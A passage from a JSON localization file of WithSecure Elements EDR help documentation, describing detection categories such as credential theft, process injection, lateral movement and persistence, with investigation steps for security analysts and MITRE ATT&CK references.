"content.p_usecase_confim_incident_00744C", { "steps.steps_usecase_confim_incident_00E5E6": [ "step.step_usecase_confim_incident_001B6D", "step.step_usecase_confim_incident_001934", "step.step_usecase_confim_incident_00165B", "step.step_usecase_confim_incident_00194F", "step.step_usecase_confim_incident_002835", "step.step_usecase_confim_incident_00EEB9" ] } ], "related": [ "handling_detections-latest-en", "usecase_responding_attack-latest-en" ] }, "usecase_responding_attack-latest-en.json": { "title": "title_usecase_responding_attac_0EDC9", "title_usecase_responding_attac_0EDC9": "Respond to a targeted attack", "shortdesc": "shortdesc_usecase_responding_attac_0AD53", "shortdesc_usecase_responding_attac_0AD53": "Instructions what to do when you receive an email notification about a targeted attack.", "content.p_usecase_responding_attac_0E49F": "Follow these instructions when you receive an alert of a targeted attack:", "step.step_usecase_responding_attac_063B7": "Open the portal to check the details of the targeted attack.", "step.step_usecase_responding_attac_0E3E9": "Review all the available details about the hosts that are involved in the targeted attack to find the reason for the detection.", "step.step_usecase_responding_attac_0A481": "Based on your analysis, choose whether you want to acknowledge the detection.", "step.step_usecase_responding_attac_0EDB3": "Choose a recommended action that the portal provides to inform customer about the possible attack.", "desc": [ "content.p_usecase_responding_attac_0E49F", { "steps.steps_usecase_responding_attac_0A659": [ "step.step_usecase_responding_attac_063B7", "step.step_usecase_responding_attac_0E3E9", "step.step_usecase_responding_attac_0A481", "step.step_usecase_responding_attac_0EDB3" ] } ], "related": [ "handling_detections-latest-en" ] }, "incident_types-latest-en.json": { "title": "title_incident_types_000001_087E6BFA", "title_incident_types_000001_087E6BFA": "Incident types", "shortdesc": "shortdesc_incident_types_000002_B6754213", "shortdesc_incident_types_000002_B6754213": "Common incident types and process activities that Elements EDR detects, with guidance for investigating and responding to each. ", "content.p_incident_types_000011_39A193D2": "This chapter describes the common incident types and process activities that Elements EDR detects. Each topic explains what the detected behavior means, gives examples, and provides guidance for investigating and responding to it. Where applicable, the topic also links to the related category in the MITRE ATT&CK framework.", "desc": [ "content.p_incident_types_000011_39A193D2" ] }, "abnormal_file_accesses-latest-en.json": { "title": "title_resp_abnormal_file_acces_04AF1", "title_resp_abnormal_file_acces_04AF1": "Abnormal file accesses", "shortdesc": "shortdesc_resp_abnormal_file_acces_0C032", "shortdesc_resp_abnormal_file_acces_0C032": "The process is accessing unusual files. For example, it is accessing multiple types of documents or system files without privileges, or doing something similar. ", "content.p_resp_abnormal_file_acces_0370E": "Adversaries might collect documents and other files locally to prepare them for exfiltration, exporting them out of the host. They might attempt to access system files to collect sensitive information about the system.", "step.step_resp_abnormal_file_acces_08298": "Investigate whether the process that is executing this action is legitimate.", "step.step_resp_abnormal_file_acces_03A3A": "Adversaries might also collect files by using command-line tools such as \"copy\" or execute scripts to collect a lot of data simultaneously and access a big amount of files. Try to investigate the executed script and check whether it is used for malicious purposes.", "content.note_resp_abnormal_file_acces_02E5D": "Note: Find more information about these types of detections from MITRE ATT&CK framework: TA0007 - Discovery", "desc": [ "content.p_resp_abnormal_file_acces_0370E", { "steps.ul_resp_abnormal_file_acces_08EC3": [ "step.step_resp_abnormal_file_acces_08298", "step.step_resp_abnormal_file_acces_03A3A" ] }, "content.note_resp_abnormal_file_acces_02E5D" ] }, "abnormal_file_modification-latest-en.json": { "title": "title_resp_abnormal_file_modif_0AAA5", "title_resp_abnormal_file_modif_0AAA5": "Abnormal file modification", "shortdesc": "shortdesc_resp_abnormal_file_modif_07BB6", "shortdesc_resp_abnormal_file_modif_07BB6": "The process is modifying files, for example, changing system binaries, changing files to executables, deleting log files, deleting shadow copies, or removing executables after execution. ", "content.p_resp_abnormal_file_modif_0DE66": "Adversaries may hide their tracks by destroying log files, shadow copies, or executables.", "content.p_resp_abnormal_file_modif_06867": "Check the following:", "step.step_resp_abnormal_file_modif_05736": "Is this file modification an expected behavior from the parent process?", "step.step_resp_abnormal_file_modif_0D782": "Adversaries use secure wiping tools to remove artifacts from the disk. Are these otherwise legitimate tools normally used in your environment?", "step.step_resp_abnormal_file_modif_0A397": "System binaries can be modified for persistence, but these actions should not happen normally and the process that is modifying system binaries should be investigated for other indicators of malicious activity.", "step.step_resp_abnormal_file_modif_00E85": "Deleting system log files is another defense evasion technique from the attackers. Under normal circumstances, this should happen only during the log retention by the operating system. Investigate the parent process for any other malicious activity.", "desc": [ "content.p_resp_abnormal_file_modif_0DE66", "content.p_resp_abnormal_file_modif_06867", { "steps.ul_resp_abnormal_file_modif_07E4A": [ "step.step_resp_abnormal_file_modif_05736", "step.step_resp_abnormal_file_modif_0D782", "step.step_resp_abnormal_file_modif_0A397", "step.step_resp_abnormal_file_modif_00E85" ] } ] }, "abnormal_library_or_module-latest-en.json": { "title": "title_resp_abnormal_library_or_07A40", "title_resp_abnormal_library_or_07A40": "Abnormal library or module", "shortdesc": "shortdesc_resp_abnormal_library_or_07075", "shortdesc_resp_abnormal_library_or_07075": "Either the particular process is doing something unusual or the process has a bad reputation in the WithSecure reputation service. ", "content.p_resp_abnormal_library_or_06754": "The executing process is loading a library or module that is considered abnormal. For example, the module is unknown or has a bad reputation in the WithSecure reputation service, the module is loaded from the USB drive, or a similar irregular activity.", "content.p_resp_abnormal_library_or_0B013": "Open Process Tree to see details that lead to these detections.", "step.step_resp_abnormal_library_or_0AD59": "Investigate whether the process has custom command-line arguments to load the module and if these arguments are expected or not.", "step.step_resp_abnormal_library_or_09E3E": "Scan the module for malware, if possible.", "step.step_resp_abnormal_library_or_0B908": "If a common process is loading an uncommon module, or one not seen before, this could indicate a DLL injection into the process. Investigate the incident for any detections related to code injection and check parent processes that could be responsible of the injection.", "content.note_resp_abnormal_library_or_0F3A2": "Note: Find more information about these types of detections from MITRE ATT&CK framework: TA0002 - Execution", "desc": [ "content.p_resp_abnormal_library_or_06754", "content.p_resp_abnormal_library_or_0B013", { "steps.ul_resp_abnormal_library_or_04B86": [ "step.step_resp_abnormal_library_or_0AD59", "step.step_resp_abnormal_library_or_09E3E", "step.step_resp_abnormal_library_or_0B908" ] }, "content.note_resp_abnormal_library_or_0F3A2" ] }, "resp_abnormal_location-latest-en.json": { "title": "title_resp_abnormal_location_00001B5", "title_resp_abnormal_location_00001B5": "Abnormal location", "shortdesc": "shortdesc_resp_abnormal_location_000D18F", "shortdesc_resp_abnormal_location_000D18F": "A file is in an unconventional location. ", "content.p_resp_abnormal_location_0006B7F": "The file can be in a directory that is typically associated with temporary storage or garbage data, on a network share, or any location that is not a common or designated location for such files. Files in these locations can indicate malicious activity, such as an attempt to evade detection.", "content.p_resp_abnormal_location_000EE4D": "The file can be removed from the system without causing harm to the operating system or any installed applications.", "desc": [ "content.p_resp_abnormal_location_0006B7F", "content.p_resp_abnormal_location_000EE4D" ] }, "abnormal_network_connection-latest-en.json": { "title": "title_resp_abnormal_network_co_0CACB", "title_resp_abnormal_network_co_0CACB": "Abnormal network connection", "shortdesc": "shortdesc_resp_abnormal_network_co_0C001", "shortdesc_resp_abnormal_network_co_0C001": "The process is doing something strange with the network, like connecting to a port, connecting to Twitter, downloading data, or doing something else that is not normal. ", "content.p_resp_abnormal_network_co_05931": "To investigate an abnormal network connection, investigate the source process that is making the unusual connection and see if it is expected to make such connections. To investigate the connection further, checking the command-line parameters that were used to launch the process.", "content.note_resp_abnormal_network_co_030C4": "Note: Find more information about these types of detections from MITRE ATT&CK framework: TA0011 - Command and Control", "desc": [ "content.p_resp_abnormal_network_co_05931", "content.note_resp_abnormal_network_co_030C4" ] }, "resp_abnormal_parameters-latest-en.json": { "title": "title_resp_abnormal_parameters_0696E", "title_resp_abnormal_parameters_0696E": "Abnormal parameters", "shortdesc": "shortdesc_resp_abnormal_parameters_0C517", "shortdesc_resp_abnormal_parameters_0C517": "Process parameters deviate from norms, which indicate potential security concerns or system misconfigurations.", "content.p_resp_abnormal_parameters_0AB07": "Parameters of a process can be, for example, extremely long or obfuscated, or encoded.", "content.p_resp_abnormal_parameters_07393": "Obfuscation and encoding such as base64 are not always harmful, but attackers can use them to evade detection.", "desc": [ "content.p_resp_abnormal_parameters_0AB07", "content.p_resp_abnormal_parameters_07393" ] }, "resp_abnormal_privileges-latest-en.json": { "title": "title_resp_abnormal_privileges_01E18", "title_resp_abnormal_privileges_01E18": "Abnormal privileges", "shortdesc": "shortdesc_resp_abnormal_privileges_0D62D", "shortdesc_resp_abnormal_privileges_0D62D": "Abnormal Privileges means that a process has more or fewer privileges than its standard operation requires.", "content.p_resp_abnormal_privileges_045DF": "If privileges of a process are elevated, it typically operates with user-level permissions but is now executing with administrative privileges. This may grant the process unauthorized access to the system.", "content.p_resp_abnormal_privileges_0E038": "If privileges of a process are reduced, a process that normally requires administrative rights is running with only user-level permissions. This can hinder its functionality, which can affect system performance and the execution of critical tasks.", "content.p_resp_abnormal_privileges_043F1": "Abnormal privileges can indicate a potential security threat or a misconfiguration in the system.", "desc": [ "content.p_resp_abnormal_privileges_045DF", "content.p_resp_abnormal_privileges_0E038", "content.p_resp_abnormal_privileges_043F1" ] }, "abnormal_process-latest-en.json": { "title": "title_resp_abnormal_process_00008BCB", "title_resp_abnormal_process_00008BCB": "Abnormal process", "shortdesc": "shortdesc_resp_abnormal_process_0000B541", "shortdesc_resp_abnormal_process_0000B541": "The occurrence of the process itself is abnormal. ", "content.p_resp_abnormal_process_00007CED": "When Elements EDR reports an abnormal process detection, examine the detected activity and its process chain in Elements Security Center to determine whether it is legitimate or malicious before you decide how to respond.", "desc": [ "content.p_resp_abnormal_process_00007CED" ] }, "abnormal_processes_relation-latest-en.json": { "title": "title_resp_abnormal_processes__0037B", "title_resp_abnormal_processes__0037B": "Abnormal processes relation", "shortdesc": "shortdesc_resp_abnormal_processes__08133", "shortdesc_resp_abnormal_processes__08133": "Abnormal processes relation is detected, for example outlook.exe is executing cmd.exe or powershell.exe that it does not do normally. ", "content.p_resp_abnormal_processes__0499F": "Unusual connections between processes can be a sign of malicious actions and intent.", "step.step_resp_abnormal_processes__048EF": "Look into these incidents to see if there might be a vulnerability that is being exploited or if a common type of harmful item, like macros in Office documents, have been was delivered on a host.", "step.step_resp_abnormal_processes__03688": "If possible, check the file that was loaded to an application. For example, see if a Word document has macros or if RTF files contain harmful elements.", "step.step_resp_abnormal_processes__07F03": "Examine the settings used in the parent process as they might include malicious parameters.", "content.note_resp_abnormal_processes__0947C": "Note: Find more information about these types of detections from MITRE ATT&CK framework: TA0002 - Execution", "desc": [ "content.p_resp_abnormal_processes__0499F", { "steps.ul_resp_abnormal_processes__0DC86": [ "step.step_resp_abnormal_processes__048EF", "step.step_resp_abnormal_processes__03688", "step.step_resp_abnormal_processes__07F03" ] }, "content.note_resp_abnormal_processes__0947C" ] }, "abnormal_process_execution-latest-en.json": { "title": "title_resp_abnormal_process_ex_0E140", "title_resp_abnormal_process_ex_0E140": "Abnormal process execution", "shortdesc": "shortdesc_resp_abnormal_process_ex_08F26", "shortdesc_resp_abnormal_process_ex_08F26": "The process or a script is using suspicious parameters or unusual file locations. ", "content.p_resp_abnormal_process_ex_0CDB5": "Examine the process for suspicious command-line arguments.", "content.p_resp_abnormal_process_ex_0F1F7": "There might be harmful intent behind what caused the process to run abnormally. For example, if Rundll32.exe was run using a powershell.exe without any parameters, it may indicate a code injection by powershell.exe.", "content.note_resp_abnormal_process_ex_06E05": "Note: Find more information about these types of detections from MITRE ATT&CK framework: TA0002 - Execution", "desc": [ "content.p_resp_abnormal_process_ex_0CDB5", "content.p_resp_abnormal_process_ex_0F1F7", "content.note_resp_abnormal_process_ex_06E05" ] }, "abnormal_user_activity-latest-en.json": { "title": "title_resp_abnormal_user_activ_05552", "title_resp_abnormal_user_activ_05552": "Abnormal user activity", "shortdesc": "shortdesc_resp_abnormal_user_activ_04C7F", "shortdesc_resp_abnormal_user_activ_04C7F": "Suspicious user activity, for example, modifying permission groups. ", "content.p_resp_abnormal_user_activ_071BF": "When Elements EDR reports an abnormal user activity detection, examine the detected activity and its process chain in Elements Security Center to determine whether it is legitimate or malicious before you decide how to respond.", "desc": [ "content.p_resp_abnormal_user_activ_071BF" ] }, "anomaly-latest-en.json": { "title": "title_resp_anomaly_000001_B68DF11C", "title_resp_anomaly_000001_B68DF11C": "Anomaly", "shortdesc": "shortdesc_resp_anomaly_000002_3A833C75", "shortdesc_resp_anomaly_000002_3A833C75": "Unusual event. A new, unusual event or a sequence of events that most likely result from malicious activities.", "content.p_resp_anomaly_000012_EE6EAFB4": "When Elements EDR reports an anomaly detection, examine the detected activity and its process chain in Elements Security Center to determine whether it is legitimate or malicious before you decide how to respond.", "desc": [ "content.p_resp_anomaly_000012_EE6EAFB4" ] }, "backdoored_file-latest-en.json": { "title": "title_resp_backdoored_file_000003C8E", "title_resp_backdoored_file_000003C8E": "Backdoored file", "shortdesc": "shortdesc_resp_backdoored_file_000009455", "shortdesc_resp_backdoored_file_000009455": "The process ran a file that gives someone unauthorized access and possibly control of the system. ", "content.p_resp_backdoored_file_00001A965": "Backdoors can be used by authorized administrators for legitimate reasons, but they can also be used by attackers to take control of a computer or device without the user or administrator's knowledge or permission.", "content.p_resp_backdoored_file_00001E6FC": "Attackers usually trick people into installing the backdoor on a system or exploit a vulnerability to do so. Once the server program is installed, it opens a connection and communicates with the client program. The attacker can then use the client to give commands to the host.", "content.p_resp_backdoored_file_00001CADD": "Investigate whether the process that is doing this is legitimate.", "desc": [ "content.p_resp_backdoored_file_00001A965", "content.p_resp_backdoored_file_00001E6FC", "content.p_resp_backdoored_file_00001CADD" ] }, "cc_network_connection-latest-en.json": { "title": "title_resp_cc_network_connecti_0C5FA", "title_resp_cc_network_connecti_0C5FA": "CC network connection", "shortdesc": "shortdesc_resp_cc_network_connecti_01EEE", "shortdesc_resp_cc_network_connecti_01EEE": "The process is making a network connection to a known command-and-control server. ", "content.p_resp_cc_network_connecti_02944": "The target domain or IP address has been recognized as harmful by WithSecure Threat Intelligence. See if the source process is trusted and reliable and if the destination address is typical for this program.", "content.p_resp_cc_network_connecti_0F0CF": "If a built-in tool of the operating system is connecting to a known command-and-control server, it is very suspicious. Look into the process chain and all command-line settings to see if there are any harmful commands.", "content.note_resp_cc_network_connecti_0D020": "Note: Find more information about these types of detections from MITRE ATT&CK framework: TA0011 - Command and Control", "desc": [ "content.p_resp_cc_network_connecti_02944", "content.p_resp_cc_network_connecti_0F0CF", "content.note_resp_cc_network_connecti_0D020" ] }, "changing_file_visibility-latest-en.json": { "title": "title_resp_changing_file_visib_034CF", "title_resp_changing_file_visib_034CF": "Changing file visibility", "shortdesc": "shortdesc_resp_changing_file_visib_0687B", "shortdesc_resp_changing_file_visib_0687B": "The process is hiding or creating hidden files and directories. ", "content.p_resp_changing_file_visib_0E95F": "Do the following:", "step.step_resp_changing_file_visib_05CC2": "Verify whether the source process is trusted, as some legitimate installers can hide installed files from users.", "step.step_resp_changing_file_visib_0C35A": "If \"living off the land\" binaries - trusted system tools that can be exploited - have been used via cmd.exe or powershell.exe to hide files, investigate the full process chain.", "step.step_resp_changing_file_visib_0D80B": "If custom untrusted executables are hidden, investigate these files for malware.", "content.note_resp_changing_file_visib_0BD1D": "Note: Find more information about these types of detections from MITRE ATT&CK framework: T1564.001 - Hide Artifacts: Hidden Files and Directories", "desc": [ "content.p_resp_changing_file_visib_0E95F", { "steps.ul_resp_changing_file_visib_0A5A3": [ "step.step_resp_changing_file_visib_05CC2", "step.step_resp_changing_file_visib_0C35A", "step.step_resp_changing_file_visib_0D80B" ] }, "content.note_resp_changing_file_visib_0BD1D" ] }, "changing_security_settings-latest-en.json": { "title": "title_resp_changing_security_s_0A542", "title_resp_changing_security_s_0A542": "Changing security settings", "shortdesc": "shortdesc_resp_changing_security_s_0ACE9", "shortdesc_resp_changing_security_s_0ACE9": "The process is changing settings such as firewall rules, administrative users, and developer mode access. ", "content.p_resp_changing_security_s_0ED5D": "Changing security settings such as disabling firewall or enabling the developer mode can aid an attacker in maintaining persistence and staying undetected for extended periods of time.", "content.p_resp_changing_security_s_025C1": "After resetting the security settings to the intended configuration, investigate the root cause of the changes and review security logs for evidence of compromise.", "content.note_resp_changing_security_s_027B4": "Note: Find more information about these types of detections from MITRE ATT&CK framework: T1685 - Disable or Modify Tools", "desc": [ "content.p_resp_changing_security_s_0ED5D", "content.p_resp_changing_security_s_025C1", "content.note_resp_changing_security_s_027B4" ] }, "changing_user_information-latest-en.json": { "title": "title_resp_changing_user_infor_0E8C1", "title_resp_changing_user_infor_0E8C1": "Changing user information", "shortdesc": "shortdesc_resp_changing_user_infor_0713A", "shortdesc_resp_changing_user_infor_0713A": "The process is adding users or modifying the existing user information. ", "content.p_resp_changing_user_infor_053C3": "Some attackers add new local users and modify settings of users that already exist in the system to elevate privileges and gain persistence.", "content.p_resp_changing_user_infor_09CD5": "To investigate the detection, check whether all user information changes are legitimate. For example:", "step.step_resp_changing_user_infor_07770": "A valid user has created or modified the credentials, or", "step.step_resp_changing_user_infor_0DB1C": "The domain where a new user was created is valid.", "content.note_resp_changing_user_infor_03B3D": "Note: Find more information about these types of detections from MITRE ATT&CK framework: T1136 - Create Account", "desc": [ "content.p_resp_changing_user_infor_053C3", "content.p_resp_changing_user_infor_09CD5", { "steps.ul_resp_changing_user_infor_01B66": [ "step.step_resp_changing_user_infor_07770", "step.step_resp_changing_user_infor_0DB1C" ] }, "content.note_resp_changing_user_infor_03B3D" ] }, "cloud-latest-en.json": { "title": "title_resp_cloud_000001_335FDAD4", "title_resp_cloud_000001_335FDAD4": "Cloud", "shortdesc": "shortdesc_resp_cloud_000002_F7813CAA", "shortdesc_resp_cloud_000002_F7813CAA": "Cloud incident categories are primarily user anomalies, as the majority of cloud attacks exploit compromised identities.", "content.p_resp_cloud_000010_3664AE13": "WithSecure detection engine analyzes cloud logs using a combination of rule-based logic and anomaly identification. Detections are then compiled into incidents, which represent activities that could be potentially malicious.", "content.p_resp_cloud_000012_C8B3D407": "These incidents typically require that an analyst reviews whether the observed behavior aligns with the business context. Some such activities can be normal and permissible.", "desc": [ "content.p_resp_cloud_000010_3664AE13", "content.p_resp_cloud_000012_C8B3D407" ] }, "compromised_clean_process-latest-en.json": { "title": "title_resp_compromised_clean_p_0B049", "title_resp_compromised_clean_p_0B049": "Compromised clean process", "shortdesc": "shortdesc_resp_compromised_clean_p_04DDE", "shortdesc_resp_compromised_clean_p_04DDE": "The process that normally does not have a dual purpose is executing activities that are not in its code, but are likely injected or otherwise compromised. ", "content.p_resp_compromised_clean_p_07C4D": "If the process is performing unexpected actions that are not known to be part of its own code, the process has been most likely compromised with some form of a memory space injection or some other impersonation techniques.", "content.p_resp_compromised_clean_p_06169": "If the process behavior looks anomalous and unexplained, identify a possible compromise by doing memory forensics and isolate the machine to prevent lateral movement in the network.", "content.p_resp_compromised_clean_p_07BD1": "If no injection is involved, analyze the command-line arguments to find a possible reason for the exploitation.", "desc": [ "content.p_resp_compromised_clean_p_07C4D", "content.p_resp_compromised_clean_p_06169", "content.p_resp_compromised_clean_p_07BD1" ] }, "creating_attack_tools-latest-en.json": { "title": "title_resp_creating_attack_too_04766", "title_resp_creating_attack_too_04766": "Creating attack tools", "shortdesc": "shortdesc_resp_creating_attack_too_041BB", "shortdesc_resp_creating_attack_too_041BB": "The process is building tools on the local computer to disguise their malicious intent. ", "content.p_resp_creating_attack_too_05313": "Following the initial system compromise, some attackers build their persistence and lateral movement tools locally to disguise a malicious intent from built-in defense mechanisms such as Windows Defender.", "content.p_resp_creating_attack_too_0CD9E": "If the user who started this action is not a known developer and the host does not normally build software, this behavior is highly suspicious.", "content.p_resp_creating_attack_too_04189": "Analyze the compiled files to confirm that no compromise occurred.", "content.note_resp_creating_attack_too_08049": "Note: Find more information about these types of detections from MITRE ATT&CK framework: T1027.004 - Obfuscated Files or Information: Compile After Delivery", "desc": [ "content.p_resp_creating_attack_too_05313", "content.p_resp_creating_attack_too_0CD9E", "content.p_resp_creating_attack_too_04189", "content.note_resp_creating_attack_too_08049" ] }, "credential_theft-latest-en.json": { "title": "title_resp_credential_theft_00007267", "title_resp_credential_theft_00007267": "Credential theft", "shortdesc": "shortdesc_resp_credential_theft_00007457", "shortdesc_resp_credential_theft_00007457": "The process is using a known method or tool to steal credentials. ", "content.p_resp_credential_theft_0000278B": "For example, the process is running the Mimikatz tool or a keylogger, or using other credential theft methods such as accessing credentials in files or in registry keys.", "content.p_resp_credential_theft_00004C0D": "Do the following:", "step.step_resp_credential_theft_0000B8D9": "Verify whether the memory dump is expected behavior that is executed as part of application troubleshooting, for example. If custom executables are detected, investigate those for malware.", "step.step_resp_credential_theft_0000620E": "Accessing the registry or other files can happen via \"living off the land\" binaries - trusted system tools that can be exploited - in which case the process chain should be further investigated for a backdoor or a reverse shell.", "step.step_resp_credential_theft_00002CF4": "Examine command-line arguments as they might give more insight into the executed tools such as Mimikatz default parameters.", "content.note_resp_credential_theft_000034F9": "Note: Find more information about these types of detections from MITRE ATT&CK framework: TA0006 - Credential Access", "desc": [ "content.p_resp_credential_theft_0000278B", "content.p_resp_credential_theft_00004C0D", { "steps.ul_resp_credential_theft_00004653": [ "step.step_resp_credential_theft_0000B8D9", "step.step_resp_credential_theft_0000620E", "step.step_resp_credential_theft_00002CF4" ] }, "content.note_resp_credential_theft_000034F9" ] }, "directed_attack-latest-en.json": { "title": "title_resp_directed_attack_00000437F", "title_resp_directed_attack_00000437F": "Directed attack", "shortdesc": "shortdesc_resp_directed_attack_0000086AF", "shortdesc_resp_directed_attack_0000086AF": "A directed attack is planned against a specific target. The attacker aims to gain unauthorized access and stay undetected for an extended period.", "content.p_resp_directed_attack_0000147CD": "When Elements EDR reports a directed attack detection, examine the detected activity and its process chain in Elements Security Center. Determine whether the activity is legitimate or malicious before you decide how to respond.", "desc": [ "content.p_resp_directed_attack_0000147CD" ] }, "injection-latest-en.json": { "title": "title_resp_injection_000001_D906ABCB", "title_resp_injection_000001_D906ABCB": "Injection", "shortdesc": "shortdesc_resp_injection_000002_F36EE044", "shortdesc_resp_injection_000002_F36EE044": "The process is running custom code inside another process, for example within another application. ", "content.p_resp_injection_000010_3213E7AF": "If this injection seems strange and unexpected, examining the process memory of the target may reveal the injected code. Look into the source process to see if there's any malware.", "content.note_resp_injection_000011_D9257FB7": "Note: Find more information about these types of detections from MITRE ATT&CK framework: T1055 - Process Injection", "desc": [ "content.p_resp_injection_000010_3213E7AF", "content.note_resp_injection_000011_D9257FB7" ] }, "injection_target-latest-en.json": { "title": "title_resp_injection_target_0000E32E", "title_resp_injection_target_0000E32E": "Injection target", "shortdesc": "shortdesc_resp_injection_target_0000B6DD", "shortdesc_resp_injection_target_0000B6DD": "The target into which the malicious code is trying to inject. ", "content.p_resp_injection_target_0000875A": "The code that is injected into processes can perform various actions, such as downloading more malware, interfering with web browsing activities or monitoring the user's actions.", "content.p_resp_injection_target_000068B2": "Investigate the incident for any detections that could be related to code injection and the parent processes responsible of the injection.", "content.note_resp_injection_target_0000C0B1": "Note: Find more information about these types of detections from MITRE ATT&CK framework: T1055 - Process Injection", "desc": [ "content.p_resp_injection_target_0000875A", "content.p_resp_injection_target_000068B2", "content.note_resp_injection_target_0000C0B1" ] }, "lateral_movement-latest-en.json": { "title": "title_resp_lateral_movement_0000E6AE", "title_resp_lateral_movement_0000E6AE": "Lateral movement", "shortdesc": "shortdesc_resp_lateral_movement_00007098", "shortdesc_resp_lateral_movement_00007098": "The process is attempting to gain further access within the network by moving between hosts while searching for a device that could eventually be the target of the attack. ", "content.p_lateralmovement1": "For example, a process is run from a remote host or it tries to get more access inside the network.", "content.p_lateralmovement2": "If you see code being run on other computers in the network, identify the computer and its owner. Check whether the owner normally runs code remotely. For example, network administrators might do this as part of their work, but HR or finance employees might not normally need remote access to other computers in the organization.", "content.note_lateralmovement": "Note: Find more information about these types of detections from MITRE ATT&CK framework: TA0008 - Lateral Movement", "desc": [ "content.p_lateralmovement1", "content.p_lateralmovement2", "content.note_lateralmovement" ] }, "lateral_movement_initiator-latest-en.json": { "title": "title_resp_lateral_movement_in_0D776", "title_resp_lateral_movement_in_0D776": "Lateral movement initiator", "shortdesc": "shortdesc_resp_lateral_movement_in_074ED", "shortdesc_resp_lateral_movement_in_074ED": "The process is executing activities that are related to lateral movement toward a remote machine. ", "content.p_resp_lateral_movement_in_00B06": "For example, a process is run from a remote host or it tries to get more access inside the network.", "content.p_resp_lateral_movement_in_02EE9": "If you see code being run on other computers in the network, identify the computer and its owner. Check whether the owner normally runs code remotely. For example, network administrators might do this as part of their work, but HR or finance employees might not normally need remote access to other computers in the organization.", "content.note_resp_lateral_movement_in_0718F": "Note: Find more information about these types of detections from MITRE ATT&CK framework: TA0008 - Lateral Movement", "desc": [ "content.p_resp_lateral_movement_in_00B06", "content.p_resp_lateral_movement_in_02EE9", "content.note_resp_lateral_movement_in_0718F" ] }, "lateral_movement_target-latest-en.json": { "title": "title_resp_lateral_movement_ta_07EC9", "title_resp_lateral_movement_ta_07EC9": "Lateral movement target", "shortdesc": "shortdesc_resp_lateral_movement_ta_097CB", "shortdesc_resp_lateral_movement_ta_097CB": "The process is executing activities that are related to lateral movement that originates from a remote machine. ", "content.p_resp_lateral_movement_ta_0A7E8": "For example, a process is run from a remote host or it tries to get more access inside the network.", "content.p_resp_lateral_movement_ta_0019C": "If you see code being run on other computers in the network, identify the computer and its owner. Check whether the owner normally runs code remotely. For example, network administrators might do this as part of their work, but HR or finance employees might not normally need remote access to other computers in the organization.", "content.note_resp_lateral_movement_ta_0EEDE": "Note: Find more information about these types of detections from MITRE ATT&CK framework: TA0008 - Lateral Movement", "desc": [ "content.p_resp_lateral_movement_ta_0A7E8", "content.p_resp_lateral_movement_ta_0019C", "content.note_resp_lateral_movement_ta_0EEDE" ] }, "log_anomalies-latest-en.json": { "title": "title_resp_log_anomalies_000001_01EB", "title_resp_log_anomalies_000001_01EB": "Log anomalies", "shortdesc": "shortdesc_resp_log_anomalies_000002_93C5", "shortdesc_resp_log_anomalies_000002_93C5": "Unusual log entries. ", "content.p_resp_log_anomalies_000012_C39C": "When Elements EDR reports a log anomaly detection, examine the detected activity and its process chain in Elements Security Center to determine whether it is legitimate or malicious before you decide how to respond.", "desc": [ "content.p_resp_log_anomalies_000012_C39C" ] }, "resp_malicious_parameters-latest-en.json": { "title": "title_resp_malicious_parameter_09634", "title_resp_malicious_parameter_09634": "Malicious parameters", "shortdesc": "shortdesc_resp_malicious_parameter_0F9A3", "shortdesc_resp_malicious_parameter_0F9A3": "Detected parameters indicate a very high probability of malicious intent.", "content.p_resp_malicious_parameter_00F39": "The observed command-line arguments and network requests match patterns that are typical of known attack tools. For example, attackers use these tools to extract passwords, gather system and network information, evade detection, or control the system.", "content.p_resp_malicious_parameter_033FB": "The process should be terminated.", "desc": [ "content.p_resp_malicious_parameter_00F39", "content.p_resp_malicious_parameter_033FB" ] }, "malicious_process-latest-en.json": { "title": "title_resp_malicious_process_0008F5D", "title_resp_malicious_process_0008F5D": "Malicious process", "shortdesc": "shortdesc_resp_malicious_process_0000BB6", "shortdesc_resp_malicious_process_0000BB6": "The process is known to be malicious. ", "content.p_resp_malicious_process_000D249": "For example, the process has a bad reputation in the WithSecure reputation service, it is known malware or backdoor, or it is doing process impersonation.", "content.p_resp_malicious_process_0008639": "Do the following:", "step.step_resp_malicious_process_000DB7F": "Make sure that the antivirus software is running on the host and operating correctly.", "step.step_resp_malicious_process_0003A38": "Assess the type of malware and respond based on that assessment. For example, an adware detection on a host may require a full system scan with the antivirus.", "step.step_resp_malicious_process_000D066": "In more severe malware cases, such as backdoors or information stealers, a deeper investigation on the source and timeline of the malware introduction is often required, as some information might have been stolen already or lateral movement actions may have happened.", "desc": [ "content.p_resp_malicious_process_000D249", "content.p_resp_malicious_process_0008639", { "steps.ul_resp_malicious_process_0000F15": [ "step.step_resp_malicious_process_000DB7F", "step.step_resp_malicious_process_0003A38", "step.step_resp_malicious_process_000D066" ] } ] }, "malware-latest-en.json": { "title": "title_resp_malware_000001_AD509C34", "title_resp_malware_000001_AD509C34": "Malware", "shortdesc": "shortdesc_resp_malware_000002_076B1624", "shortdesc_resp_malware_000002_076B1624": "Software that is intentionally designed to cause damage to a computer, server, client, or computer network. ", "content.p_resp_malware_000012_4ECB9D51": "When Elements EDR reports a malware detection, examine the detected activity and its process chain in Elements Security Center to determine whether it is legitimate or malicious before you decide how to respond.", "desc": [ "content.p_resp_malware_000012_4ECB9D51" ] }, "persistence-latest-en.json": { "title": "title_resp_persistence_000001_16DF0D", "title_resp_persistence_000001_16DF0D": "Persistence", "shortdesc": "shortdesc_resp_persistence_000002_E13BD4", "shortdesc_resp_persistence_000002_E13BD4": "The process is trying to stay persistent on the host. ", "content.p_resp_persistence_000010_52F053": "For example the process may try to gain persistence with login hooks, crontab, or rootkits to check, watch, and acquire data.", "content.p_resp_persistence_000011_556C25": "Many installers often set up persistence for the installed software for legitimate purposes.", "content.p_resp_persistence_000012_26569F": "Check the following to investigate whether the process is legitimate or not:", "step.step_resp_persistence_000014_AC4864": "Is the same executable using multiple different methods to gain persistence?", "step.step_resp_persistence_000015_A45934": "Is there an attempt to gain persistence using obscure methods, such as scheduled tasks?", "step.step_resp_persistence_000016_EB99A4": "Is the persistence set up by scripts such as batch, python, or visual basic?", "step.step_resp_persistence_000017_FA0BF5": "If possible, check the contents of the file, script, or registry key that is trying to be executed.", "content.note_resp_persistence_000018_C4158F": "Note: Find more information about these types of detections from MITRE ATT&CK framework: TA0003 - Persistence", "desc": [ "content.p_resp_persistence_000010_52F053", "content.p_resp_persistence_000011_556C25", "content.p_resp_persistence_000012_26569F", { "steps.ul_resp_persistence_000013_797D88": [ "step.step_resp_persistence_000014_AC4864", "step.step_resp_persistence_000015_A45934", "step.step_resp_persistence_000016_EB99A4", "step.step_resp_persistence_000017_FA0BF5" ] }, "content.note_resp_persistence_000018_C4158F" 